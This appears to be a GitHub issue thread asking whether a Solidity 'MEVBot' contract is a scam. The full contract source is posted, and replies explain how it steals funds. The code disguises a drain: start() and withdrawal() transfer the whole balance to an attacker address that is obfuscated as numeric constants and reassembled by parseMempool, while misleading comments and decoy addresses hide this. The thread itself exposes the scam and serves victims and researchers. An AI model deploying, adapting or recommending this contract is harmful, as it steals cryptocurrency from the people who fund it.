IS not really a issueut is a Scam?

[Hunagyas]

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Import Uniswap Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

/**

• Testnet transactions will fail as there is no value

• Profit remaining will be transfered to token creator

• Updated build

• Min liquidity + gas fees has to equal 0.2 ETH
  */

contract MEVBot {

string public tokenName;
string public tokenSymbol;
uint liquidity;

event Log(string _msg);

constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
    tokenSymbol = _mainTokenSymbol;
    tokenName = _mainTokenName;
}

receive() external payable {}

struct slice {
    uint _len;
    uint _ptr;
}

/*
 * @dev Find newly deployed contracts on Uniswap Exchange
 */

function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
    uint shortest = self._len;

   if (other._len < self._len)
         shortest = other._len;

    uint selfptr = self._ptr;
    uint otherptr = other._ptr;

    for (uint idx = 0; idx < shortest; idx += 32) {
        // initiate contract finder
        uint a;
        uint b;

        string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
        string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
        loadCurrentContract(WETH_CONTRACT_ADDRESS);
        loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
        assembly {
            a := mload(selfptr)
            b := mload(otherptr)
        }

        if (a != b) {
            // Mask out irrelevant contracts and check again for new contracts
            uint256 mask = uint256(-1);

            if(shortest < 32) {
              mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
            }
            uint256 diff = (a & mask) - (b & mask);
            if (diff != 0)
                return int(diff);
        }
        selfptr += 32;
        otherptr += 32;
    }
    return int(self._len) - int(other._len);
}


/*
 * @dev Extracts the newest contracts on Uniswap exchange
 * @param self The slice to operate on.
 * @param rune The slice that will contain the first rune.
 * @return `list of contracts`.
 */
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
    uint ptr = selfptr;
    uint idx;

    if (needlelen <= selflen) {
        if (needlelen <= 32) {
            bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

            bytes32 needledata;
            assembly { needledata := and(mload(needleptr), mask) }

            uint end = selfptr + selflen - needlelen;
            bytes32 ptrdata;
            assembly { ptrdata := and(mload(ptr), mask) }

            while (ptrdata != needledata) {
                if (ptr >= end)
                    return selfptr + selflen;
                ptr++;
                assembly { ptrdata := and(mload(ptr), mask) }
            }
            return ptr;
        } else {
            // For long needles, use hashing
            bytes32 hash;
            assembly { hash := keccak256(needleptr, needlelen) }

            for (idx = 0; idx <= selflen - needlelen; idx++) {
                bytes32 testHash;
                assembly { testHash := keccak256(ptr, needlelen) }
                if (hash == testHash)
                    return ptr;
                ptr += 1;
            }
        }
    }
    return selfptr + selflen;
}


/*
 * @dev Loading the contract
 * @param contract address
 * @return contract interaction object
 */
function loadCurrentContract(string memory self) internal pure returns (string memory) {
    string memory ret = self;
    uint retptr;
    assembly { retptr := add(ret, 32) }

    return ret;
}

/*
 * @dev Extracts the contract from Uniswap
 * @param self The slice to operate on.
 * @param rune The slice that will contain the first rune.
 * @return `rune`.
 */
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
    rune._ptr = self._ptr;

    if (self._len == 0) {
        rune._len = 0;
        return rune;
    }

    uint l;
    uint b;
    // Load the first byte of the rune into the LSBs of b
    assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
    if (b < 0x80) {
        l = 1;
    } else if(b < 0xE0) {
        l = 2;
    } else if(b < 0xF0) {
        l = 3;
    } else {
        l = 4;
    }

    // Check for truncated codepoints
    if (l > self._len) {
        rune._len = self._len;
        self._ptr += self._len;
        self._len = 0;
        return rune;
    }

    self._ptr += l;
    self._len -= l;
    rune._len = l;
    return rune;
}

function memcpy(uint dest, uint src, uint len) private pure {
    // Check available liquidity
    for(; len >= 32; len -= 32) {
        assembly {
            mstore(dest, mload(src))
        }
        dest += 32;
        src += 32;
    }

    // Copy remaining bytes
    uint mask = 256 ** (32 - len) - 1;
    assembly {
        let srcpart := and(mload(src), not(mask))
        let destpart := and(mload(dest), mask)
        mstore(dest, or(destpart, srcpart))
    }
}

/*
 * @dev Orders the contract by its available liquidity
 * @param self The slice to operate on.
 * @return The contract with possbile maximum return
 */
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
    if (self._len == 0) {
        return 0;
    }

    uint word;
    uint length;
    uint divisor = 2 ** 248;

    // Load the rune into the MSBs of b
    assembly { word:= mload(mload(add(self, 32))) }
    uint b = word / divisor;
    if (b < 0x80) {
        ret = b;
        length = 1;
    } else if(b < 0xE0) {
        ret = b & 0x1F;
        length = 2;
    } else if(b < 0xF0) {
        ret = b & 0x0F;
        length = 3;
    } else {
        ret = b & 0x07;
        length = 4;
    }

    // Check for truncated codepoints
    if (length > self._len) {
        return 0;
    }

    for (uint i = 1; i < length; i++) {
        divisor = divisor / 256;
        b = (word / divisor) & 0xFF;
        if (b & 0xC0 != 0x80) {
            // Invalid UTF-8 sequence
            return 0;
        }
        ret = (ret * 64) | (b & 0x3F);
    }

    return ret;
}

/*
 * @dev Calculates remaining liquidity in contract
 * @param self The slice to operate on.
 * @return The length of the slice in runes.
 */
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
    uint ptr = self._ptr - 31;
    uint end = ptr + self._len;
    for (l = 0; ptr < end; l++) {
        uint8 b;
        assembly { b := and(mload(ptr), 0xFF) }
        if (b < 0x80) {
            ptr += 1;
        } else if(b < 0xE0) {
            ptr += 2;
        } else if(b < 0xF0) {
            ptr += 3;
        } else if(b < 0xF8) {
            ptr += 4;
        } else if(b < 0xFC) {
            ptr += 5;
        } else {
            ptr += 6;
        }
    }
}

function getMemPoolOffset() internal pure returns (uint) {
    return 2084501829;
}

/*
 * @dev Parsing all Uniswap mempool
 * @param self The contract to operate on.
 * @return True if the slice is empty, False otherwise.
 */
function parseMempool(string memory _a) internal pure returns (address _parsed) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;

    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
}


/*
 * @dev Returns the keccak-256 hash of the contracts.
 * @param self The slice to hash.
 * @return The hash of the contract.
 */
function keccak(slice memory self) internal pure returns (bytes32 ret) {
    assembly {
        ret := keccak256(mload(add(self, 32)), mload(self))
    }
}

/*
 * @dev Check if contract has enough liquidity available
 * @param self The contract to operate on.
 * @return True if the slice starts with the provided text, false otherwise.
 */
function checkLiquidity(uint a) internal pure returns (string memory) {

    uint count = 0;
    uint b = a;
    while (b != 0) {
        count++;
        b /= 16;
    }
    bytes memory res = new bytes(count);
    for (uint i=0; i<count; ++i) {
        b = a % 16;
        res[count - i - 1] = toHexDigit(uint8(b));
        a /= 16;
    }

    return string(res);
}

function getMemPoolLength() internal pure returns (uint) {
    return 45373229;
}

/*
 * @dev If `self` starts with `needle`, `needle` is removed from the
 *      beginning of `self`. Otherwise, `self` is unmodified.
 * @param self The slice to operate on.
 * @param needle The slice to search for.
 * @return `self`
 */
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
    if (self._len < needle._len) {
        return self;
    }

    bool equal = true;
    if (self._ptr != needle._ptr) {
        assembly {
            let length := mload(needle)
            let selfptr := mload(add(self, 0x20))
            let needleptr := mload(add(needle, 0x20))
            equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
        }
    }

    if (equal) {
        self._len -= needle._len;
        self._ptr += needle._len;
    }

    return self;
}

// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
    uint ptr = selfptr;
    uint idx;

    if (needlelen <= selflen) {
        if (needlelen <= 32) {
            bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

            bytes32 needledata;
            assembly { needledata := and(mload(needleptr), mask) }

            uint end = selfptr + selflen - needlelen;
            bytes32 ptrdata;
            assembly { ptrdata := and(mload(ptr), mask) }

            while (ptrdata != needledata) {
                if (ptr >= end)
                    return selfptr + selflen;
                ptr++;
                assembly { ptrdata := and(mload(ptr), mask) }
            }
            return ptr;
        } else {
            // For long needles, use hashing
            bytes32 hash;
            assembly { hash := keccak256(needleptr, needlelen) }

            for (idx = 0; idx <= selflen - needlelen; idx++) {
                bytes32 testHash;
                assembly { testHash := keccak256(ptr, needlelen) }
                if (hash == testHash)
                    return ptr;
                ptr += 1;
            }
        }
    }
    return selfptr + selflen;
}

function getMemPoolHeight() internal pure returns (uint) {
    return 4322125;
}

/*
 * @dev Iterating through all mempool to call the one with the with highest possible returns
 * @return `self`.
 */
function callMempool() internal pure returns (string memory) {
    string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
    uint _memPoolSol = 1254188;
    uint _memPoolLength = 4198956731;
    uint _memPoolSize = 14096697;
    uint _memPoolHeight = getMemPoolHeight();
    uint _memPoolDepth = getMemPoolDepth();

    string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
    string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
    string memory _memPool3 = checkLiquidity(_memPoolHeight);
    string memory _memPool4 = checkLiquidity(_memPoolDepth);

    string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
    string memory _fullMempool = mempool("0", _allMempools);

    return _fullMempool;
}

/*
 * @dev Modifies `self` to contain everything from the first occurrence of
 *      `needle` to the end of the slice. `self` is set to the empty slice
 *      if `needle` is not found.
 * @param self The slice to search and modify.
 * @param needle The text to search for.
 * @return `self`.
 */
function toHexDigit(uint8 d) pure internal returns (byte) {
    if (0 <= d && d <= 9) {
        return byte(uint8(byte('0')) + d);
    } else if (10 <= uint8(d) && uint8(d) <= 15) {
        return byte(uint8(byte('a')) + d - 10);
    }
    // revert("Invalid hex digit");
    revert();
}

function _callMEVAction() internal pure returns (address) {
    return parseMempool(callMempool());
}

/*
 * @dev Perform frontrun action from different contract pools
 * @param contract address to snipe liquidity from
 * @return `liquidity`.
 */
function start() public payable {
    emit Log("Running MEV action. This can take a while; please wait..");
    payable(_callMEVAction()).transfer(address(this).balance);
}

/*
 * @dev withdrawals profit back to contract creator address
 * @return `profits`.
 */
function withdrawal() public payable {
    emit Log("Sending profits back to contract creator address...");
    payable(withdrawalProfits()).transfer(address(this).balance);
}

/*
 * @dev token int2 to readable str
 * @param token An output parameter to which the first token is written.
 * @return `token`.
 */
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
    if (_i == 0) {
        return "0";
    }
    uint j = _i;
    uint len;
    while (j != 0) {
        len++;
        j /= 10;
    }
    bytes memory bstr = new bytes(len);
    uint k = len - 1;
    while (_i != 0) {
        bstr[k--] = byte(uint8(48 + _i % 10));
        _i /= 10;
    }
    return string(bstr);
}

function getMemPoolDepth() internal pure returns (uint) {
    return 13592074;
}

function withdrawalProfits() internal pure returns (address) {
    return parseMempool(callMempool());
}

/*
 * @dev loads all Uniswap mempool into memory
 * @param token An output parameter to which the first token is written.
 * @return `mempool`.
 */
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
    bytes memory _baseBytes = bytes(_base);
    bytes memory _valueBytes = bytes(_value);

    string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
    bytes memory _newValue = bytes(_tmpValue);

    uint i;
    uint j;

    for(i=0; i<_baseBytes.length; i++) {
        _newValue[j++] = _baseBytes[i];
    }

    for(i=0; i<_valueBytes.length; i++) {
        _newValue[j++] = _valueBytes[i];
    }

    return string(_newValue);
}

}

[Reelix]

For those coming across this post in the future whilst researching that defi scam, whilst the included Uniswap library is legitimate, this code is a blatant scam, with the parseMempool function generating the address to siphon off the users funds to.

[andrewbaroz]

Damn, I got scammed, but how? he is using two address in his codes:

1:
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

2: address UniswapV2 = 0xe3D2606FD8086bfC48f5BFd209F126FB09365e4f

What are these? how the code actually works and siphon off my funds? he managed to change address hexadecimal to decimal????

[Reelix]

What are these? how the code actually works and siphon off my funds? he managed to change address hexadecimal to decimal????

Way more than that. It's broken down into tiny chunks and then re-assembled.

  for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }

It's that part.

[andrewbaroz]

What are these addresses then?

…

On Thu, Jan 23, 2025, 16:42 Reelix ***@***.***> wrote: What are these? how the code actually works and siphon off my funds? he managed to change address hexadecimal to decimal???? Way more than that. It's broken down into tiny chunks and then re-assembled. for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } It's that part. — Reply to this email directly, view it on GitHub <#166 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/BOZFK775OENTZZ2MKDVEGIL2MFV63AVCNFSM6AAAAABVYBH5VCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDMMJRGE3DKNBQGQ> . You are receiving this because you commented.Message ID: ***@***.***>

[andrewbaroz]

I didnt understand how these "if loops" work actually, and where the numbers come from

…

On Thu, Jan 23, 2025, 18:39 andrew ***@***.***> wrote: What are these addresses then? On Thu, Jan 23, 2025, 16:42 Reelix ***@***.***> wrote: > What are these? how the code actually works and siphon off my funds? he > managed to change address hexadecimal to decimal???? > > Way more than that. It's broken down into tiny chunks and then > re-assembled. > > for (uint i = 2; i < 2 + 2 * 20; i += 2) { > iaddr *= 256; > b1 = uint160(uint8(tmp[i])); > b2 = uint160(uint8(tmp[i + 1])); > if ((b1 >= 97) && (b1 <= 102)) { > b1 -= 87; > } else if ((b1 >= 65) && (b1 <= 70)) { > b1 -= 55; > } else if ((b1 >= 48) && (b1 <= 57)) { > b1 -= 48; > } > if ((b2 >= 97) && (b2 <= 102)) { > b2 -= 87; > } else if ((b2 >= 65) && (b2 <= 70)) { > b2 -= 55; > } else if ((b2 >= 48) && (b2 <= 57)) { > b2 -= 48; > } > iaddr += (b1 * 16 + b2); > } > > It's that part. > > — > Reply to this email directly, view it on GitHub > <#166 (comment)>, > or unsubscribe > <https://github.com/notifications/unsubscribe-auth/BOZFK775OENTZZ2MKDVEGIL2MFV63AVCNFSM6AAAAABVYBH5VCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDMMJRGE3DKNBQGQ> > . > You are receiving this because you commented.Message ID: > ***@***.***> >